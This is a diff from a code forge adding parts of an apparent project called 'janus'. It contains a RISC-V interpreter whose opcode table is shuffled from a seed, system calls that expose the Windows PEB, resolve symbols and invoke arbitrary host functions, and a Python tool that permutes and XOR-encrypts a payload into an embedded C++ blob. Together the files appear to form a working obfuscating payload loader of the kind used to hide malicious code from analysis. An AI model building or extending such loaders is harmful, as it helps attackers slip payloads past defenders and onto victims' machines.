||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
#include "janus/vm.hpp"
|
||||
#include "janus/decode.hpp"
|
||||
|
||||
|
||||
void handle_jal(RiscVm* vm, uint32_t i) {
|
||||
int64_t target = (int64_t)vm->pc + rv_imm_j(i);
|
||||
rv_wreg(vm, rv_rd(i), (int64_t)(vm->pc + 4));
|
||||
vm->pc = (uint64_t)target;
|
||||
}
|
||||
|
||||
|
||||
void handle_jalr(RiscVm* vm, uint32_t i) {
|
||||
uint64_t target = (uint64_t)(vm->regs[rv_rs1(i)] + rv_imm_i(i)) & ~(uint64_t)1;
|
||||
rv_wreg(vm, rv_rd(i), (int64_t)(vm->pc + 4));
|
||||
vm->pc = target;
|
||||
}
|
||||
|
||||
|
||||
void handle_branch(RiscVm* vm, uint32_t i) {
|
||||
int f3 = rv_f3(i), rs1 = rv_rs1(i), rs2 = rv_rs2(i);
|
||||
int64_t a = vm->regs[rs1], b = vm->regs[rs2];
|
||||
bool taken = false;
|
||||
|
||||
switch (f3) {
|
||||
case 0: taken = a == b; break; // BEQ
|
||||
case 1: taken = a != b; break; // BNE
|
||||
case 4: taken = a < b; break; // BLT
|
||||
case 5: taken = a >= b; break; // BGE
|
||||
case 6: taken = (uint64_t)a < (uint64_t)b; break; // BLTU
|
||||
case 7: taken = (uint64_t)a >= (uint64_t)b; break; // BGEU
|
||||
}
|
||||
vm->pc = taken ? (uint64_t)((int64_t)vm->pc + rv_imm_b(i)) : vm->pc + 4;
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
#include "janus/vm.hpp"
|
||||
#include "janus/config.hpp"
|
||||
#include <array>
|
||||
#include <cstring>
|
||||
|
||||
using HandlerFn = void(*)(RiscVm*, uint32_t);
|
||||
|
||||
// Forward-declared in each handler file
|
||||
void handle_load (RiscVm*, uint32_t);
|
||||
void handle_misc_mem (RiscVm*, uint32_t);
|
||||
void handle_op_imm (RiscVm*, uint32_t);
|
||||
void handle_auipc (RiscVm*, uint32_t);
|
||||
void handle_op_imm32 (RiscVm*, uint32_t);
|
||||
void handle_store (RiscVm*, uint32_t);
|
||||
void handle_op (RiscVm*, uint32_t);
|
||||
void handle_lui (RiscVm*, uint32_t);
|
||||
void handle_op32 (RiscVm*, uint32_t);
|
||||
void handle_branch (RiscVm*, uint32_t);
|
||||
void handle_jalr (RiscVm*, uint32_t);
|
||||
void handle_jal (RiscVm*, uint32_t);
|
||||
void handle_system (RiscVm*, uint32_t);
|
||||
|
||||
static void handle_illegal(RiscVm* vm, uint32_t) { vm->halted = true; }
|
||||
|
||||
// Compile-time Fisher-Yates shuffle driven by JANUS_OPCODE_SEED.
|
||||
// embed_payload.py uses the same algorithm to permute opcode fields in the payload binary.
|
||||
static constexpr std::array<uint8_t, 32> gen_perm(uint32_t seed) {
|
||||
std::array<uint8_t, 32> p{};
|
||||
for (int i = 0; i < 32; i++) p[i] = (uint8_t)i;
|
||||
for (int i = 31; i > 0; i--) {
|
||||
seed = seed * 1664525u + 1013904223u;
|
||||
int j = (int)((seed >> 17) % (uint32_t)(i + 1));
|
||||
uint8_t t = p[i]; p[i] = p[j]; p[j] = t;
|
||||
}
|
||||
return p;
|
||||
}
|
||||
|
||||
static HandlerFn g_dispatch[32];
|
||||
|
||||
static void init_dispatch() {
|
||||
for (auto& h : g_dispatch) h = handle_illegal;
|
||||
|
||||
constexpr auto perm = gen_perm(JANUS_OPCODE_SEED);
|
||||
// perm[real_opcode] = slot in g_dispatch that the payload will use
|
||||
g_dispatch[perm[0x00]] = handle_load;
|
||||
g_dispatch[perm[0x03]] = handle_misc_mem;
|
||||
g_dispatch[perm[0x04]] = handle_op_imm;
|
||||
g_dispatch[perm[0x05]] = handle_auipc;
|
||||
g_dispatch[perm[0x06]] = handle_op_imm32;
|
||||
g_dispatch[perm[0x08]] = handle_store;
|
||||
g_dispatch[perm[0x0C]] = handle_op;
|
||||
g_dispatch[perm[0x0D]] = handle_lui;
|
||||
g_dispatch[perm[0x0E]] = handle_op32;
|
||||
g_dispatch[perm[0x18]] = handle_branch;
|
||||
g_dispatch[perm[0x19]] = handle_jalr;
|
||||
g_dispatch[perm[0x1B]] = handle_jal;
|
||||
g_dispatch[perm[0x1C]] = handle_system;
|
||||
}
|
||||
|
||||
void riscvm_init(RiscVm* vm, uint8_t* mem, size_t mem_sz, SyscallTable* sc) {
|
||||
memset(vm, 0, sizeof(*vm));
|
||||
vm->mem_base = mem;
|
||||
vm->mem_size = mem_sz;
|
||||
vm->syscalls = sc;
|
||||
// pc and sp set by caller (loader) after choosing entry point
|
||||
}
|
||||
|
||||
void riscvm_run(RiscVm* vm) {
|
||||
static bool initialised = false;
|
||||
if (!initialised) { init_dispatch(); initialised = true; }
|
||||
|
||||
while (!vm->halted) {
|
||||
uint32_t instr = rv_fetch(vm);
|
||||
g_dispatch[(instr >> 2) & 0x1F](vm, instr);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
#include "janus/vm.hpp"
|
||||
#include "janus/decode.hpp"
|
||||
#include <cstring>
|
||||
|
||||
// Shared address space: guest pointers are valid host pointers — no translation needed.
|
||||
|
||||
|
||||
void handle_load(RiscVm* vm, uint32_t i) {
|
||||
int rd = rv_rd(i), rs1 = rv_rs1(i), f3 = rv_f3(i);
|
||||
uint8_t* addr = reinterpret_cast<uint8_t*>((uintptr_t)(vm->regs[rs1] + rv_imm_i(i)));
|
||||
int64_t res = 0;
|
||||
|
||||
switch (f3) {
|
||||
case 0: { int8_t v; memcpy(&v, addr, 1); res = v; break; } // LB
|
||||
case 1: { int16_t v; memcpy(&v, addr, 2); res = v; break; } // LH
|
||||
case 2: { int32_t v; memcpy(&v, addr, 4); res = v; break; } // LW
|
||||
case 3: { int64_t v; memcpy(&v, addr, 8); res = v; break; } // LD
|
||||
case 4: { uint8_t v; memcpy(&v, addr, 1); res = (int64_t)v; break; } // LBU
|
||||
case 5: { uint16_t v; memcpy(&v, addr, 2); res = (int64_t)v; break; } // LHU
|
||||
case 6: { uint32_t v; memcpy(&v, addr, 4); res = (int64_t)v; break; } // LWU
|
||||
}
|
||||
rv_wreg(vm, rd, res);
|
||||
rv_adv(vm);
|
||||
}
|
||||
|
||||
|
||||
void handle_store(RiscVm* vm, uint32_t i) {
|
||||
int rs1 = rv_rs1(i), rs2 = rv_rs2(i), f3 = rv_f3(i);
|
||||
uint8_t* addr = reinterpret_cast<uint8_t*>((uintptr_t)(vm->regs[rs1] + rv_imm_s(i)));
|
||||
uint64_t src = (uint64_t)vm->regs[rs2];
|
||||
|
||||
switch (f3) {
|
||||
case 0: memcpy(addr, &src, 1); break; // SB
|
||||
case 1: memcpy(addr, &src, 2); break; // SH
|
||||
case 2: memcpy(addr, &src, 4); break; // SW
|
||||
case 3: memcpy(addr, &src, 8); break; // SD
|
||||
}
|
||||
rv_adv(vm);
|
||||
}
|
||||
|
||||
|
||||
void handle_misc_mem(RiscVm* vm, uint32_t) { rv_adv(vm); }
|
||||
@@ -0,0 +1,55 @@
|
||||
#include "janus/vm.hpp"
|
||||
#include "janus/decode.hpp"
|
||||
|
||||
// ── SYSTEM (0x73): ECALL / EBREAK ────────────────────────────────────────────
|
||||
//
|
||||
// ECALL convention:
|
||||
// a7 = JanusEcall number
|
||||
// a0 = arg0 / return value
|
||||
// a1 = arg1
|
||||
// a2 = arg2
|
||||
//
|
||||
// EBREAK halts the VM (used by payload to signal completion).
|
||||
|
||||
void handle_system(RiscVm* vm, uint32_t i) {
|
||||
int f3 = rv_f3(i);
|
||||
int imm = (int)(i >> 20) & 0xFFF;
|
||||
|
||||
// CSR instructions (funct3 != 0) — treat as NOP
|
||||
if (f3 != 0) { rv_adv(vm); return; }
|
||||
|
||||
if (imm == 1) { // EBREAK
|
||||
vm->halted = true;
|
||||
return;
|
||||
}
|
||||
|
||||
// ECALL
|
||||
rv_adv(vm); // advance before dispatch so return address is correct
|
||||
auto& r = vm->regs;
|
||||
switch ((JanusEcall)r[RV_A7]) {
|
||||
case ECALL_GET_PEB:
|
||||
r[RV_A0] = (int64_t)(uintptr_t)vm->syscalls->get_peb();
|
||||
break;
|
||||
case ECALL_HOST_CALL: {
|
||||
void* fn = (void*)(uintptr_t)r[RV_A0];
|
||||
uintptr_t* args = (uintptr_t*)(uintptr_t)r[RV_A1];
|
||||
int argc = (int)r[RV_A2];
|
||||
r[RV_A0] = (int64_t)vm->syscalls->host_call(fn, args, argc);
|
||||
break;
|
||||
}
|
||||
case ECALL_RESOLVE: {
|
||||
const char* mod = (const char*)(uintptr_t)r[RV_A0];
|
||||
const char* sym = (const char*)(uintptr_t)r[RV_A1];
|
||||
r[RV_A0] = (int64_t)(uintptr_t)vm->syscalls->resolve(mod, sym);
|
||||
break;
|
||||
}
|
||||
case ECALL_EXIT:
|
||||
vm->syscalls->exit_fn((int)r[RV_A0]);
|
||||
vm->halted = true;
|
||||
break;
|
||||
default:
|
||||
// Unknown syscall — silently ignore, return 0
|
||||
r[RV_A0] = 0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,125 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
embed_payload.py <input.elf> <output_blob.cpp>
|
||||
|
||||
Reads a RISC-V ELF payload, applies the opcode shuffle (driven by
|
||||
JANUS_OPCODE_SEED from config.hpp), XOR-encrypts, and emits a C++ source file
|
||||
with the encrypted blob and relocation table for the loader.
|
||||
|
||||
Requires: pyelftools (pip install pyelftools)
|
||||
"""
|
||||
|
||||
import sys
|
||||
import struct
|
||||
import re
|
||||
from elftools.elf.elffile import ELFFile
|
||||
from elftools.elf.relocation import RelocationSection
|
||||
|
||||
# Must stay in sync with include/janus/config.hpp
|
||||
OPCODE_SEED = 0xDEADBEEF
|
||||
XOR_KEY = 0x4A
|
||||
XOR_MIX = 0x67
|
||||
|
||||
def gen_perm(seed: int) -> list[int]:
|
||||
"""Fisher-Yates with LCG — must match gen_perm() in src/vm/core.cpp."""
|
||||
p = list(range(32))
|
||||
for i in range(31, 0, -1):
|
||||
seed = (seed * 1664525 + 1013904223) & 0xFFFFFFFF
|
||||
j = (seed >> 17) % (i + 1)
|
||||
p[i], p[j] = p[j], p[i]
|
||||
return p
|
||||
|
||||
def xor_crypt(data: bytearray) -> bytearray:
|
||||
return bytearray(b ^ (XOR_KEY ^ ((i * XOR_MIX) & 0xFF)) for i, b in enumerate(data))
|
||||
|
||||
def shuffle_opcodes(data: bytearray, text_start: int, text_size: int, perm: list[int]) -> None:
|
||||
"""Apply opcode permutation to every 32-bit RISC-V instruction in .text."""
|
||||
for off in range(text_start, text_start + text_size, 4):
|
||||
if off + 4 > len(data):
|
||||
break
|
||||
word = struct.unpack_from('<I', data, off)[0]
|
||||
if (word & 0x3) != 0x3:
|
||||
continue # compressed or data — skip
|
||||
real_op = (word >> 2) & 0x1F
|
||||
shuf_op = perm[real_op]
|
||||
word = (word & ~(0x1F << 2)) | (shuf_op << 2)
|
||||
struct.pack_into('<I', data, off, word)
|
||||
|
||||
def main():
|
||||
if len(sys.argv) != 3:
|
||||
print(f"usage: {sys.argv[0]} <input.elf> <output_blob.cpp>", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
elf_path, out_path = sys.argv[1], sys.argv[2]
|
||||
perm = gen_perm(OPCODE_SEED)
|
||||
|
||||
with open(elf_path, 'rb') as f:
|
||||
elf = ELFFile(f)
|
||||
|
||||
# Collect load segments into a flat image starting at virtual address 0
|
||||
load_segs = sorted(
|
||||
[s for s in elf.iter_segments() if s.header.p_type == 'PT_LOAD'],
|
||||
key=lambda s: s.header.p_vaddr
|
||||
)
|
||||
if not load_segs:
|
||||
print("No PT_LOAD segments", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
img_end = max(s.header.p_vaddr + s.header.p_memsz for s in load_segs)
|
||||
image = bytearray(img_end)
|
||||
|
||||
for seg in load_segs:
|
||||
vaddr = seg.header.p_vaddr
|
||||
data = seg.data()
|
||||
image[vaddr:vaddr + len(data)] = data
|
||||
|
||||
# Find .text section bounds for opcode shuffle
|
||||
text_start = text_size = 0
|
||||
sec = elf.get_section_by_name('.text')
|
||||
if sec:
|
||||
text_start = sec.header.sh_addr
|
||||
text_size = sec.header.sh_size
|
||||
|
||||
# Collect R_RISCV_64 / R_RISCV_RELATIVE relocations
|
||||
reloc_offsets: list[int] = []
|
||||
for section in elf.iter_sections():
|
||||
if not isinstance(section, RelocationSection):
|
||||
continue
|
||||
sym_table = elf.get_section(section.header.sh_link)
|
||||
for reloc in section.iter_relocations():
|
||||
rtype = reloc.entry.r_info_type
|
||||
# R_RISCV_64 = 2, R_RISCV_RELATIVE = 3
|
||||
if rtype in (2, 3):
|
||||
reloc_offsets.append(reloc.entry.r_offset)
|
||||
|
||||
# Entry point
|
||||
entry_offset = elf.header.e_entry
|
||||
|
||||
# Apply shuffle then encrypt
|
||||
shuffle_opcodes(image, text_start, text_size, perm)
|
||||
encrypted = xor_crypt(image)
|
||||
|
||||
# Emit C++ blob
|
||||
hex_bytes = ', '.join(f'0x{b:02X}' for b in encrypted)
|
||||
reloc_vals = ', '.join(str(o) for o in reloc_offsets) if reloc_offsets else '0'
|
||||
reloc_cnt = len(reloc_offsets)
|
||||
|
||||
cpp = f"""\
|
||||
// AUTO-GENERATED by tools/embed_payload.py — do not edit by hand.
|
||||
#include <cstdint>
|
||||
#include <cstddef>
|
||||
|
||||
extern const uint8_t kPayload[] = {{ {hex_bytes} }};
|
||||
extern const size_t kPayloadSize = {len(encrypted)};
|
||||
extern const uint64_t kEntryOffset = {entry_offset}ULL;
|
||||
extern const uint64_t kRelocOffsets[] = {{ {reloc_vals} }};
|
||||
extern const size_t kRelocCount = {reloc_cnt};
|
||||
"""
|
||||
|
||||
with open(out_path, 'w') as f:
|
||||
f.write(cpp)
|
||||
|
||||
print(f"[janus] payload {len(encrypted)} bytes, {reloc_cnt} relocs → {out_path}")
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
Reference in New Issue
Block a user